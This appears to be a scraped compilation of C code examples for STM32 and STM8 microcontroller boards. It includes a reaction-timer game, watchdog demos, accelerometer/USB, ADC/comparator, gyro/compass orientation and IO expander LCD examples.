	 /* LCD initiatization */
  LCD_Init();
  
  /* LCD Layer initiatization */
  LCD_LayerInit();
    
  /* Enable the LTDC */
  LTDC_Cmd(ENABLE);
  
  /* Set LCD foreground layer */
  LCD_SetLayer(LCD_FOREGROUND_LAYER);
	
//================EEPROM init====================================

/* Unlock the Flash Program Erase controller */
		FLASH_Unlock();
		/* EEPROM Init */
		EE_Init();
		

//============ Set up for random number generation==============
	RNG_Config();


	//with the default font, LCD can display  12 lines of chars, they are LINE(0), LINE(1)...LINE(11) 
	//with the default font, LCD can display  15 columns, they are COLUMN(0)....COLUMN(14)


		LCD_Clear(LCD_COLOR_WHITE);
			
	

		
		LCD_DisplayStringLine(LINE(0),  (uint8_t *) "Attempt");
		LCD_DisplayStringLine(LINE(2),  (uint8_t *) "Record");
		
		EE_WriteVariable(VirtAddVarTab[0],VarValue);
		EE_ReadVariable(VirtAddVarTab[0], &VarDataTab[0]);
		sprintf(str, "%d", VarDataTab[0]);
		//LCD_DisplayStringLine(LINE(3),  (uint8_t *) str);
		//randomNumber = RNG_GetRandomNumber()/100000;

		//sprintf(str, "%d", randomNumber());
		//LCD_DisplayStringLine(LINE(5),  (uint8_t *) str);
		
		resetTimer();
		
		/*the following while loop is where the main part of the code is
		* it currently uses the userbutton on board since Mario forgot to bring along his
		* jumper cables to test out the push button part
		*/
		
		//if toggle = 0 lights are  blinking
		//if toggle = 1 2 second wait
		//if toggle = 2 LED toggle off, the lights stay on
		
		//@TODO add external push button to code
		externalButton();
  while (1){ 
			int num = TIM_GetCounter(TIM3);
		//This is for the start of the procedure 
		if(toggle==0){
			if(num == 3000){
					STM_EVAL_LEDOn(LED3);
				  STM_EVAL_LEDOn(LED4);
			}
			else if(num == 6000){
					STM_EVAL_LEDOff(LED3);
					STM_EVAL_LEDOff(LED4);
					resetTimer();
			}
		}
			//if the user button has been pressed and the lights are blinking
			if (UBPressed==1 && toggle==0) {
				STM_EVAL_LEDOff(LED3);
				STM_EVAL_LEDOff(LED4);
				UBPressed=0;
				PB_Config();
				resetTimerLong();
				toggle = 1;
				rand = randomNumber();//generate a random number 
			}

			//this is the to get the wait time for the reaction test.
			if(toggle==1){
					if(num == rand){ //if num is equal to the ramdom gened number turn on the LEDs and reset the timer
							STM_EVAL_LEDOn(LED3);
							STM_EVAL_LEDOn(LED4);
							resetTimerLong();
					}
			}
			//this is the code for when the reaction timer has gone off
			if (UBPressed==1 && toggle==1) {
				 
				//this if statement is to prevent cheating
				//if the number = 0 it means that the user cheated as someone should not be able to get 0
				if(num == 0){
					ExtButtonPressed=0;
					PB_Config();
					externalButton();
					resetTimer();
					toggle = 0;
				}else{
				sprintf(str, "%d", num);
				//this block of code writes to the LCD the lastest user reaction time.
				LCD_DisplayStringLine(LINE(1),  (uint8_t *) "          ");
				LCD_DisplayStringLine(LINE(1),  (uint8_t *) str);
				EE_ReadVariable(VirtAddVarTab[0], &VarDataTab[0]);
				//this if statement determines wheter the user has beat their best reaction time
				if(num < VarDataTab[0]){
						VarValue = num;
						EE_WriteVariable(VirtAddVarTab[0],VarValue);
				}
				/*the following block of code writes to the LCD the record reaction time*/
				EE_ReadVariable(VirtAddVarTab[0], &VarDataTab[0]);
				sprintf(str, "%d", VarDataTab[0]);
				LCD_DisplayStringLine(LINE(3),  (uint8_t *) "          ");
				LCD_DisplayStringLine(LINE(3),  (uint8_t *) str);
				UBPressed=0;
				PB_Config();
				resetTimerLong();
				toggle = 2; 
			}
			}
			//the user needs to press the button to get the reaction time game going again. 
			//to reset the reaction timer
			if (ExtButtonPressed==1) {
				ExtButtonPressed=0;
				PB_Config();
				externalButton();
				resetTimer();
				toggle = 0;
			}
			
	}
	
}
Beispiel #16
0
/**
  * @brief  Main program
  * @param  None
  * @retval None
  */
int main(void)
{
  /*!< At this stage the microcontroller clock setting is already configured, 
       this is done through SystemInit() function which is called from startup
       files (startup_stm32f429_439xx.s) before to branch to application main. 
       To reconfigure the default setting of SystemInit() function, refer to
       system_stm32f4xx.c file
     */     
       
  /* Initialize LED3, LED4 and USER Button mounted on STM32F429I-DISCO*/       
  STM_EVAL_LEDInit(LED3);
  STM_EVAL_LEDInit(LED4);
  STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI);

  /* Setup SysTick Timer for 1 msec interrupts  */
  if (SysTick_Config(SystemCoreClock / 1000))
  { 
    /* Capture error */ 
    while (1);
  }

  /* Check if the system has resumed from IWDG reset */
  if (RCC_GetFlagStatus(RCC_FLAG_IWDGRST) != RESET)
  {
    /* IWDGRST flag set */
    /* Turn on LED3 */
    STM_EVAL_LEDOn(LED3);

    /* Clear reset flags */
    RCC_ClearFlag();
  }
  else
  {
    /* IWDGRST flag is not set */
    /* Turn off LED3 */
    STM_EVAL_LEDOff(LED3);
  }
 
  /* Get the LSI frequency:  TIM5 is used to measure the LSI frequency */
  uwLsiFreq = GetLSIFrequency();
   
  /* IWDG timeout equal to 250 ms (the timeout may varies due to LSI frequency
     dispersion) */
  /* Enable write access to IWDG_PR and IWDG_RLR registers */
  IWDG_WriteAccessCmd(IWDG_WriteAccess_Enable);

  /* IWDG counter clock: LSI/32 */
  IWDG_SetPrescaler(IWDG_Prescaler_32);

  /* Set counter reload value to obtain 250ms IWDG TimeOut.
     IWDG counter clock Frequency = LsiFreq/32
     Counter Reload Value = 250ms/IWDG counter clock period
                          = 0.25s / (32/LsiFreq)
                          = LsiFreq/(32 * 4)
                          = LsiFreq/128
   */   
  IWDG_SetReload(uwLsiFreq/128);

  /* Reload IWDG counter */
  IWDG_ReloadCounter();

  /* Enable IWDG (the LSI oscillator will be enabled by hardware) */
  IWDG_Enable();

  while (1)
  {
    /* Toggle LED4 */
    STM_EVAL_LEDToggle(LED4);
    
    /* Insert 240 ms delay */
    Delay(240);

    /* Reload IWDG counter */
    IWDG_ReloadCounter();  
  }
}
Beispiel #17
0
/**
  * @brief  Main program
  * @param  None
  * @retval None
  */
int main(void)
{
  /*!< At this stage the microcontroller clock setting is already configured, 
       this is done through SystemInit() function which is called from startup
       file (startup_stm32f4xx.s) before to branch to application main.
       To reconfigure the default setting of SystemInit() function, refer to
        system_stm32f4xx.c file
     */     
       
   /* Initialize LEDs and Key Button mounted on STM324xG-EVAL board */       
  STM_EVAL_LEDInit(LED1);
  STM_EVAL_LEDInit(LED2);
  STM_EVAL_PBInit(BUTTON_KEY, BUTTON_MODE_EXTI);

  /* Check if the system has resumed from WWDG reset */
  if (RCC_GetFlagStatus(RCC_FLAG_WWDGRST) != RESET)
  { 
    /* WWDGRST flag set */
    /* Turn on LED1 */
    STM_EVAL_LEDOn(LED1);

    /* Clear reset flags */
    RCC_ClearFlag();
  }
  else
  {
    /* WWDGRST flag is not set */
    /* Turn off LED1 */
    STM_EVAL_LEDOff(LED1);
  }

  /* Setup SysTick Timer for 1 msec interrupts  */
  if (SysTick_Config(SystemCoreClock / 1000))
  { 
    /* Capture error */ 
    while (1);
  }

  /* WWDG configuration */
  /* Enable WWDG clock */
  RCC_APB1PeriphClockCmd(RCC_APB1Periph_WWDG, ENABLE);

  /* WWDG clock counter = (PCLK1 (42MHz)/4096)/8 = 1281 Hz (~780 us)  */
  WWDG_SetPrescaler(WWDG_Prescaler_8);

  /* Set Window value to 80; WWDG counter should be refreshed only when the counter
    is below 80 (and greater than 64) otherwise a reset will be generated */
  WWDG_SetWindowValue(80);

  /* Enable WWDG and set counter value to 127, WWDG timeout = ~780 us * 64 = 49.92 ms 
    In this case the refresh window is: ~780 * (127-80) = 36.6ms < refresh window < ~780 * 64 = 49.9ms
  */
  WWDG_Enable(127);
   
  while (1)
  {
    /* Toggle LED2 */
    STM_EVAL_LEDToggle(LED2);

    /* Insert 40 ms delay */
    Delay(40);

    /* Update WWDG counter */
    WWDG_SetCounter(127);
  }
}
Beispiel #18
0
/**
  * @brief  Execute the demo application.
  * @param  None
  * @retval None
  */
static void Demo_Exec(void)
{
  RCC_ClocksTypeDef RCC_Clocks;
  uint8_t togglecounter = 0x00;
  
  while(1)
  {
    DemoEnterCondition = 0x00;
    
    /* Reset UserButton_Pressed variable */
    UserButtonPressed = 0x00;
    
    /* Initialize LEDs to be managed by GPIO */
    STM_EVAL_LEDInit(LED4);
    STM_EVAL_LEDInit(LED3);
    STM_EVAL_LEDInit(LED5);
    STM_EVAL_LEDInit(LED6);
    
    /* SysTick end of count event each 10ms */
    RCC_GetClocksFreq(&RCC_Clocks);
    SysTick_Config(RCC_Clocks.HCLK_Frequency / 100);  
    
    /* Turn OFF all LEDs */
    STM_EVAL_LEDOff(LED4);
    STM_EVAL_LEDOff(LED3);
    STM_EVAL_LEDOff(LED5);
    STM_EVAL_LEDOff(LED6);
    
    /* Waiting User Button is pressed */
    while (UserButtonPressed == 0x00)
    {
      /* Toggle LED4 */
      STM_EVAL_LEDToggle(LED4);
      Delay(10);
      /* Toggle LED4 */
      STM_EVAL_LEDToggle(LED3);
      Delay(10);
      /* Toggle LED4 */
      STM_EVAL_LEDToggle(LED5);
      Delay(10);
      /* Toggle LED4 */
      STM_EVAL_LEDToggle(LED6);
      Delay(10);
      togglecounter ++;
      if (togglecounter == 0x10)
      {
        togglecounter = 0x00;
        while (togglecounter < 0x10)
        {
          STM_EVAL_LEDToggle(LED4);
          STM_EVAL_LEDToggle(LED3);
          STM_EVAL_LEDToggle(LED5);
          STM_EVAL_LEDToggle(LED6);
          Delay(10);
          togglecounter ++;
        }
       togglecounter = 0x00;
      }
    }
    
    /* Waiting User Button is Released */
    while (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)
    {}
    UserButtonPressed = 0x00;
    
    /* TIM4 channels configuration */
    TIM4_Config();
    
    /* Disable all Timer4 channels */
    TIM_CCxCmd(TIM4, TIM_Channel_1, DISABLE);
    TIM_CCxCmd(TIM4, TIM_Channel_2, DISABLE);
    TIM_CCxCmd(TIM4, TIM_Channel_3, DISABLE);
    TIM_CCxCmd(TIM4, TIM_Channel_4, DISABLE);

    /* MEMS configuration */
    LIS302DL_InitStruct.Power_Mode = LIS302DL_LOWPOWERMODE_ACTIVE;
    LIS302DL_InitStruct.Output_DataRate = LIS302DL_DATARATE_100;
    LIS302DL_InitStruct.Axes_Enable = LIS302DL_XYZ_ENABLE;
    LIS302DL_InitStruct.Full_Scale = LIS302DL_FULLSCALE_2_3;
    LIS302DL_InitStruct.Self_Test = LIS302DL_SELFTEST_NORMAL;
    LIS302DL_Init(&LIS302DL_InitStruct);
    
    /* Required delay for the MEMS Accelerometre: Turn-on time = 3/Output data Rate 
    = 3/100 = 30ms */
    Delay(30);
    
    DemoEnterCondition = 0x01;
    /* MEMS High Pass Filter configuration */
    LIS302DL_FilterStruct.HighPassFilter_Data_Selection = LIS302DL_FILTEREDDATASELECTION_OUTPUTREGISTER;
    LIS302DL_FilterStruct.HighPassFilter_CutOff_Frequency = LIS302DL_HIGHPASSFILTER_LEVEL_1;
    LIS302DL_FilterStruct.HighPassFilter_Interrupt = LIS302DL_HIGHPASSFILTERINTERRUPT_1_2;
    LIS302DL_FilterConfig(&LIS302DL_FilterStruct);
    
    LIS302DL_Read(Buffer, LIS302DL_OUT_X_ADDR, 6);
    X_Offset = Buffer[0];
    Y_Offset = Buffer[2];
    Z_Offset = Buffer[4];
    
    /* USB configuration */
    Demo_USBConfig();
    
    /* Waiting User Button is pressed */
    while (UserButtonPressed == 0x00)
    {}
    
    /* Waiting User Button is Released */
    while (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)
    {}
    
    /* Disable SPI1 used to drive the MEMS accelerometre */
    SPI_Cmd(LIS302DL_SPI, DISABLE);
    
    /* Disconnect the USB device */
    DCD_DevDisconnect(&USB_OTG_dev);
    USB_OTG_StopDevice(&USB_OTG_dev);
  }
}
void leds_arch_set(unsigned char leds)
{
    ( leds & LEDS_GREEN ) ? STM_EVAL_LEDOn( LED4 ) : STM_EVAL_LEDOff( LED4 );
    ( leds & LEDS_RED ) ? STM_EVAL_LEDOn( LED5 ) : STM_EVAL_LEDOff( LED5 );
    ( leds & LEDS_YELLOW ) ? STM_EVAL_LEDOn( LED3 ) : STM_EVAL_LEDOff( LED3 );
}
Beispiel #20
0
/**
  * @brief  Main program.
  * @param  None
  * @retval None
  */
int main(void)
{
  RCC_ClocksTypeDef RCC_Clocks;
  
  /* Initialize LEDs and User_Button on STM32F4-Discovery --------------------*/
  STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI); 
  
  STM_EVAL_LEDInit(LED4);
  STM_EVAL_LEDInit(LED3);
  STM_EVAL_LEDInit(LED5);
  STM_EVAL_LEDInit(LED6);
  
  /* SysTick end of count event each 10ms */
  RCC_GetClocksFreq(&RCC_Clocks);
  SysTick_Config(RCC_Clocks.HCLK_Frequency / 100);
  
  if (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)
  {
    /* Turn on LEDs available on STM32F4-Discovery ---------------------------*/
    STM_EVAL_LEDOn(LED4);
    STM_EVAL_LEDOn(LED3);
    STM_EVAL_LEDOn(LED5);
    STM_EVAL_LEDOn(LED6); 

    if ((*(__IO uint32_t*) TESTRESULT_ADDRESS) == ALLTEST_PASS)
    {
      TimingDelay = 300;
      /* Waiting User Button is pressed or Test Program condition verified */
      while ((STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)&&(TimingDelay != 0x00))
      {}
    }
    else
    {
      /* Waiting User Button is Released  or TimeOut*/
      TimingDelay = 300;
      while ((STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)&&(TimingDelay != 0x00))
      {}
      if (STM_EVAL_PBGetState(BUTTON_USER) == Bit_RESET)
      {
        TimingDelay = 0x00;
      }
    }
    if (TimingDelay == 0x00)
    {
      /* Turn off LEDs available on STM32F4-Discovery ------------------------*/
      STM_EVAL_LEDOff(LED4);
      STM_EVAL_LEDOff(LED3);
      STM_EVAL_LEDOff(LED5);
      STM_EVAL_LEDOff(LED6); 
      
      /* Waiting User Button is released */
      while (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)
      {}
      
      /* Unlocks the FLASH control register access */
      FLASH_Unlock();
      
      /* Move discovery kit to detect negative and positive acceleration values 
      on X, Y and Z axis */
      Accelerometer_MEMS_Test();
      
      /* USB Hardware connection */
      USB_Test();
      
      /* Audio Hardware connection */
      Audio_Test();
      
      /* Microphone MEMS Hardware connection */
      Microphone_MEMS_Test();
      
      /* Write PASS code at last word in the flash memory */
      FLASH_ProgramWord(TESTRESULT_ADDRESS, ALLTEST_PASS);
      
      while(1)
      {
        /* Toggle Green LED: signaling the End of the Test program */
        STM_EVAL_LEDToggle(LED4);
        Delay(10);
      }
    }
    else
    {
      Demo_Exec();
    }
  }
  else
  {    
    Demo_Exec();
  }
}
Beispiel #21
0
/**
  * @brief  Main program.
  * @param  None
  * @retval None
  */
void main(void)
{
  /*************** Initialize LEDs available on STM8L15X-EVAL board ***********/
  STM_EVAL_LEDInit(LED1);
  STM_EVAL_LEDInit(LED2);

  /* CLK configuration -------------------------------------------*/
  CLK_Config(); 
  
  /* ADC configuration -------------------------------------------*/
  ADC_Config(); 

  /* COMP configuration -------------------------------------------*/
  COMP_Config(); 

  while (1)
  {
    if (State != STATE_UNDER_THRESHOLD) /* Input voltage is over the threshold VREFINT */
    {
      /* LD1 ON and LD2 OFF: MCU in run mode */
      STM_EVAL_LEDOn(LED1);
      STM_EVAL_LEDOff(LED2);

      /* Disable global Interrupts */
      disableInterrupts();
      /* Disable COMP clock */
      CLK_PeripheralClockConfig(CLK_Peripheral_COMP, DISABLE);

      /* Enable ADC1 clock */
      CLK_PeripheralClockConfig(CLK_Peripheral_ADC1, ENABLE);
      /* Enable end of conversion ADC1 Interrupt */
      ADC_ITConfig(ADC1, ADC_IT_EOC, DISABLE);
      /* Enable ADC1 */
      ADC_Cmd(ADC1, ENABLE);

      /* Start ADC1 Software Conversion */
      ADC_SoftwareStartConv(ADC1);
      /* Wait for first end of conversion */
      while (ADC_GetFlagStatus(ADC1, ADC_FLAG_EOC) == RESET);
      ADCVal = ADC_GetConversionValue(ADC1);
      /* Enable global Interrupts */
      enableInterrupts();

      /* Enable end of conversion ADC1 Interrupt */
      ADC_ITConfig(ADC1, ADC_IT_EOC, ENABLE);

      while (State == STATE_OVER_THRESHOLD)
      {}
    }
    else /* Input voltage is under the threshold */
    {
      /* LD1 OFF and LD2 ON: MCU in halt mode */
      STM_EVAL_LEDOff(LED1);
      STM_EVAL_LEDOn(LED2);

      /* Disable global Interrupts */
      disableInterrupts();
      /* Clear EOC and OVR flags */
      ADC_ClearFlag(ADC1, (ADC_FLAG_TypeDef) (ADC_FLAG_EOC | ADC_FLAG_OVER));
      /* Disable ADC1 */
      ADC_Cmd(ADC1, DISABLE);
      /* Disable ADC1 clock */
      CLK_PeripheralClockConfig(CLK_Peripheral_ADC1, DISABLE);

      /* Enable COMP clock */
      CLK_PeripheralClockConfig(CLK_Peripheral_COMP, ENABLE);
      /* Enable COMP2 Interrupt */
      COMP_ITConfig(COMP_Selection_COMP2, ENABLE);

      /* Enable global Interrupts */
      enableInterrupts();
      /* Check COMP2 output level before entering halt mode */
      if (COMP_GetOutputLevel(COMP_Selection_COMP2) == COMP_OutputLevel_Low)
      {
        /* Enter halt mode */
        halt();
      }
    }
  }
}
Beispiel #22
0
int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    /*!< At this stage the microcontroller clock setting is already configured, 
      this is done through SystemInit() function which is called from startup
      file (startup_stm32f30x.s) before to branch to application main.
      To reconfigure the default setting of SystemInit() function, refer to
      system_stm32f30x.c file
      */ 

    /* SysTick end of count event each 10ms */
    RCC_GetClocksFreq(&RCC_Clocks);
    SysTick_Config(RCC_Clocks.HCLK_Frequency / 100);

    /* initialise USART1 debug output (TX on pin PA9 and RX on pin PA10) */
    USART1_Init();

    //printf("Starting\n");
    USART1_flush();

    /*
    printf("Initialising USB\n");
    USBHID_Init();
    printf("Initialising USB HID\n");
    Joystick_init();
    */
    
    /* Initialise LEDs */
    //printf("Initialising LEDs\n");
    int i;
    for (i = 0; i < 8; ++i) {
        STM_EVAL_LEDInit(leds[i]);
        STM_EVAL_LEDOff(leds[i]);
    }

    /* Initialise gyro */
    //printf("Initialising gyroscope\n");
    Gyro_Init();

    /* Initialise compass */
    //printf("Initialising compass\n");
    Compass_Init();

    Delay(100);
    calibrate();

    int C = 0, noAccelCount = 0;

    while (1) {
        float *acc = accs[C&1],
              *prevAcc = accs[(C&1)^1],
              *vel = vels[C&1],
              *prevVel = vels[(C&1)^1],
              *pos = poss[C&1],
              *prevPos = poss[(C&1)^1],
              *angRate = angRates[C&1],
              *prevAngRate = angRates[(C&1)^1],
              *ang = angs[C&1],
              *prevAng = angs[(C&1)^1],
              *mag = mags[C&1],
              *prevmag = mags[(C&1)^1];

        /* Wait for data ready */

#if 0
        Compass_ReadAccAvg(acc, 10);
        vecMul(axes, acc);
        //printf("X: %9.3f Y: %9.3f Z: %9.3f\n", acc[0], acc[1], acc[2]);
        
        float grav = acc[2];
        acc[2] = 0;
        
        if (noAccelCount++ > 50) {
            for (i = 0; i < 2; ++i) {
                vel[i] = 0;
                prevVel[i] = 0;
            }
            noAccelCount = 0;
        }

        if (vecLen(acc) > 50.f) {
            for (i = 0; i < 2; ++i) {
                vel[i] += prevAcc[i] + (acc[i]-prevAcc[i])/2.f;
                pos[i] += prevVel[i] + (vel[i]-prevVel[i])/2.f;
            }
            noAccelCount = 0;
        }

        C += 1;
        if (((C) & 0x7F) == 0) {
            printf("%9.3f %9.3f %9.3f %9.3f %9.3f\n", vel[0], vel[1], pos[0], pos[1], grav);
            //printf("%3.1f%% %d %5.1f %6.3f\n", (float) timeReadI2C*100.f / totalTime, C, (float) C*100.f / (totalTime), grav);
        }
#endif

        Compass_ReadMagAvg(mag, 2);
        vecMul(axes, mag);
        float compassAngle = atan2f(mag[1], mag[0]) * 180.f / PI;
        if (compassAngle > 180.f) compassAngle -= 360.f;
        //vecNorm(mag);
        

        Gyro_ReadAngRateAvg(mag, 2);
        printf("%6.3f:%6.3f,%6.3f,%6.3f\n", compassAngle, mag[0], mag[1], mag[2]);

#if 0
        Gyro_ReadAngRateAvg(angRate, 2);
        angRate[0] *= 180.f / PI;
        angRate[1] *= 180.f / PI;
        angRate[2] *= 180.f / PI;
        float s[3] = {sin(angRate[0]), sin(angRate[1]), sin(angRate[2])};
        float c[3] = {cos(angRate[0]), cos(angRate[1]), cos(angRate[2])};
        float gyroMat[3][3] = {
            {c[0]*c[1], c[0]*s[1], -s[1]},
            {c[0]*s[1]*s[2]-s[0]*c[2], c[0]*c[2]+s[0]*s[1]*s[2], c[1]*s[2]},
            {c[0]*s[1]*c[2]+s[0]*s[2], -c[0]*s[2]+s[0]*s[1]*c[2], c[1]*c[2]}};
        /*
        float gyroWorldMat[3][3];
        vecMulMatTrans(gyroWorldMat, axes, gyroMat);
        *ang = gyroWorldMat[2][0];
        *ang += gyroWorldMat[2][1];
        *ang += gyroWorldMat[2][2];
        *ang /= 300.f;
        static const float ANGALPHA = 0.0f;
        *ang += ANGALPHA*(compassAngle - *ang);
        */
        float rotObsVec[3];
        memcpy(rotObsVec, axes[0], sizeof(rotObsVec));
        vecMul(gyroMat, rotObsVec);
        vecMul(axes, rotObsVec);
        rotObsVec[2] = 0.f;
        vecNorm(rotObsVec);
        float angDelta = acos(rotObsVec[0]);

        if (((++C) & 0x7) == 0) {
            printf("%6.3f %6.3f %6.3f %6.3f\n", rotObsVec[0], rotObsVec[1], rotObsVec[2], angDelta);
        }
#endif


#if 0
        float angRate[3];
      
      /* Read Gyro Angular data */
      Gyro_ReadAngRate(angRate);

      printf("X: %f Y: %f Z: %f\n", angRate[0], angRate[1], angRate[2]);

        float MagBuffer[3] = {0.0f}, AccBuffer[3] = {0.0f};
        float fNormAcc,fSinRoll,fCosRoll,fSinPitch,fCosPitch = 0.0f, RollAng = 0.0f, PitchAng = 0.0f;
        float fTiltedX,fTiltedY = 0.0f;


      Compass_ReadMag(MagBuffer);
      Compass_ReadAcc(AccBuffer);
      
      for(i=0;i<3;i++)
        AccBuffer[i] /= 100.0f;
      
      fNormAcc = sqrt((AccBuffer[0]*AccBuffer[0])+(AccBuffer[1]*AccBuffer[1])+(AccBuffer[2]*AccBuffer[2]));
      
      fSinRoll = -AccBuffer[1]/fNormAcc;
      fCosRoll = sqrt(1.0-(fSinRoll * fSinRoll));
      fSinPitch = AccBuffer[0]/fNormAcc;
      fCosPitch = sqrt(1.0-(fSinPitch * fSinPitch));
     if ( fSinRoll >0)
     {
       if (fCosRoll>0)
       {
         RollAng = acos(fCosRoll)*180/PI;
       }
       else
       {
         RollAng = acos(fCosRoll)*180/PI + 180;
       }
     }
     else
     {
       if (fCosRoll>0)
       {
         RollAng = acos(fCosRoll)*180/PI + 360;
       }
       else
       {
         RollAng = acos(fCosRoll)*180/PI + 180;
       }
     }
     
      if ( fSinPitch >0)
     {
       if (fCosPitch>0)
       {
            PitchAng = acos(fCosPitch)*180/PI;
       }
       else
       {
          PitchAng = acos(fCosPitch)*180/PI + 180;
       }
     }
     else
     {
       if (fCosPitch>0)
       {
            PitchAng = acos(fCosPitch)*180/PI + 360;
       }
       else
       {
          PitchAng = acos(fCosPitch)*180/PI + 180;
       }
     }

      if (RollAng >=360)
      {
        RollAng = RollAng - 360;
      }
      
      if (PitchAng >=360)
      {
        PitchAng = PitchAng - 360;
      }
      
      fTiltedX = MagBuffer[0]*fCosPitch+MagBuffer[2]*fSinPitch;
      fTiltedY = MagBuffer[0]*fSinRoll*fSinPitch+MagBuffer[1]*fCosRoll-MagBuffer[1]*fSinRoll*fCosPitch;
      
      HeadingValue = (float) ((atan2f((float)fTiltedY,(float)fTiltedX))*180)/PI;
 
        printf("Compass heading: %f\n", HeadingValue);
#endif
    }

    return 1;
}
Beispiel #23
0
/**
  * @brief  Main program.
  * @param  None
  * @retval None
  */
int main(void)
{
  /*!< At this stage the microcontroller clock setting is already configured, 
       this is done through SystemInit() function which is called from startup
       file (startup_stm32f30x_xx.s) before to branch to application main.
       To reconfigure the default setting of SystemInit() function, refer to
       system_stm32f30x.c file
     */     
       
  /* Initialize LED1 and Key Button mounted on STM32F3-Discovery board */       
  STM_EVAL_LEDInit(LED3);
  STM_EVAL_LEDInit(LED4);
  STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI);

  /* Setup SysTick Timer for 1 msec interrupts  */
  if (SysTick_Config(SystemCoreClock / 1000))
  { 
    /* Capture error */ 
    while (1);
  }

  /* Check if the system has resumed from IWDG reset */
  if (RCC_GetFlagStatus(RCC_FLAG_IWDGRST) != RESET)
  {
    /* IWDGRST flag set */
    /* Turn on LED3 */
    STM_EVAL_LEDOn(LED3);

    /* Clear reset flags */
    RCC_ClearFlag();
  }
  else
  {
    /* IWDGRST flag is not set */
    /* Turn off LED3 */
    STM_EVAL_LEDOff(LED3);
  }

#ifdef LSI_TIM_MEASURE
  /* TIM Configuration -------------------------------------------------------*/
  TIM16_ConfigForLSI();
  
  /* Wait until the TIM16 get 2 LSI edges */
  while(CaptureNumber != 2)
  {
  }

  /* Disable TIM16 CC1 Interrupt Request */
  TIM_ITConfig(TIM16, TIM_IT_CC1, DISABLE);
#endif
  
  /* IWDG timeout equal to 250 ms (the timeout may varies due to LSI frequency
     dispersion) */
  /* Enable write access to IWDG_PR and IWDG_RLR registers */
  IWDG_WriteAccessCmd(IWDG_WriteAccess_Enable);

  /* IWDG counter clock: LSI/32 */
  IWDG_SetPrescaler(IWDG_Prescaler_32);

  /* Set counter reload value to obtain 250ms IWDG TimeOut.
     Counter Reload Value = 250ms * IWDG counter clock period
                          = 250ms * (LSI/32)
                          = 0.25s * (LsiFreq/32)
                          = LsiFreq / (32 * 4)
                          = LsiFreq / 128
   */
  IWDG_SetReload(LsiFreq/128);

  /* Reload IWDG counter */
  IWDG_ReloadCounter();

  /* Enable IWDG (the LSI oscillator will be enabled by hardware) */
  IWDG_Enable();

  while (1)
  {
    /* Toggle LED4 */
    STM_EVAL_LEDToggle(LED4);

    /* Insert 240 ms delay */
    Delay(240);

    /* Reload IWDG counter */
    IWDG_ReloadCounter();  
  }
}
Beispiel #24
0
/**
  * @brief  Main program
  * @param  None
  * @retval None
  */
int main(void)
{
  /*!< At this stage the microcontroller clock setting is already configured, 
       this is done through SystemInit() function which is called from startup
       files (startup_stm32f40_41xxx.s/startup_stm32f427_437xx.s/startup_stm32f429_439xx.s)
       before to branch to application main.
     */     

  /* SysTick end of count event each 10ms */
  RCC_GetClocksFreq(&RCC_Clocks);
  SysTick_Config(RCC_Clocks.HCLK_Frequency / 100);
         
  /* Initialize LEDs mounted on EVAL board */
  STM_EVAL_LEDInit(LED1);
  STM_EVAL_LEDInit(LED2);
  STM_EVAL_LEDInit(LED3);
  STM_EVAL_LEDInit(LED4);

  /* Select the Button test mode (polling or interrupt) BUTTON_MODE in main.h */
  STM_EVAL_PBInit(BUTTON_WAKEUP, BUTTON_MODE);
  STM_EVAL_PBInit(BUTTON_TAMPER, BUTTON_MODE);

  /* Initialize the LCD */
  LCD_Init();

  /* Initialize the LCD Layers */
  LCD_LayerInit();  
  
  /* Enable LCD display */
  LCD_DisplayOn();
  
  /* Set foreground layer */
  LCD_SetLayer(LCD_FOREGROUND_LAYER);
  
  /* Clear the LCD */ 
  LCD_Clear(White);
  
  /* Set the LCD Back Color */
  LCD_SetBackColor(White);
  
  /* Set the LCD Text Color */
  LCD_SetTextColor(Blue);    
 
  LCD_DisplayStringLine(LCD_LINE_0, (uint8_t *)"        STM324x9I-EVAL       ");
  LCD_DisplayStringLine(LCD_LINE_1, (uint8_t *)"      Example on how to      ");
  LCD_DisplayStringLine(LCD_LINE_2, (uint8_t *)"     use the IO Expander     ");
  
  /* Configure the IO Expander */
  if (IOE_Config() == IOE_OK && IOE16_Config() == IOE16_OK)
  {
    LCD_DisplayStringLine(LCD_LINE_3, (uint8_t *)"      IO Expander OK       ");
  }
  else
  {
    LCD_DisplayStringLine(LCD_LINE_4, (uint8_t *)"IO Expander FAILED    ");
    LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)" Please Reset the     ");
    LCD_DisplayStringLine(LCD_LINE_6, (uint8_t *)"   board and start    ");
    LCD_DisplayStringLine(LCD_LINE_7, (uint8_t *)"    again             ");
    while(1);
  }

  /* LEDs Control blocks */
  LCD_SetTextColor(Blue);
  LCD_DrawRect(310, 180,  40, 60);
  LCD_SetTextColor(Red);
  LCD_DrawRect(230, 180, 40, 60);
  LCD_SetTextColor(Yellow);
  LCD_DrawRect(150, 180, 40, 60);
  LCD_SetTextColor(Green);
  LCD_DrawRect(70, 180, 40, 60);

#ifdef IOE_INTERRUPT_MODE
  /* Configure motherboard interrupt source IO_EXP4 */ 
  IOE16_IOPinConfig(IOE16_TS_IT,Direction_IN);
  IOE16_ITConfig(IOE16_TS_IT);
  
  /* Enable joystick interrupt */
  IOE16_ITConfig(JOY_IO16_PINS);
  
  /* Enable the Touch Screen interrupt */
  IOE_TSITConfig(); 
  
  /* Read IOs state to let IO interrupt occur */
  IOE16_I2C_ReadDeviceRegister(IOE16_REG_GPMR_LSB);
  IOE16_I2C_ReadDeviceRegister(IOE16_REG_GPMR_MSB);
#endif /* IOE_INTERRUPT_MODE */
  
  
  while(1)
  {
#ifdef IOE_POLLING_MODE
    static JOY_State_TypeDef JoyState = JOY_NONE;
    static TS_STATE* TS_State;
    
    /* Get the Joystick State */
    JoyState = IOE16_JoyStickGetState();
    
    /* Set the LCD Text Color */
    LCD_SetTextColor(Blue); 
   
    switch (JoyState)
    {
      case JOY_NONE:
        LCD_DisplayStringLine(LCD_LINE_5, (uint8_t *)"JOY:     ----        ");
        break;
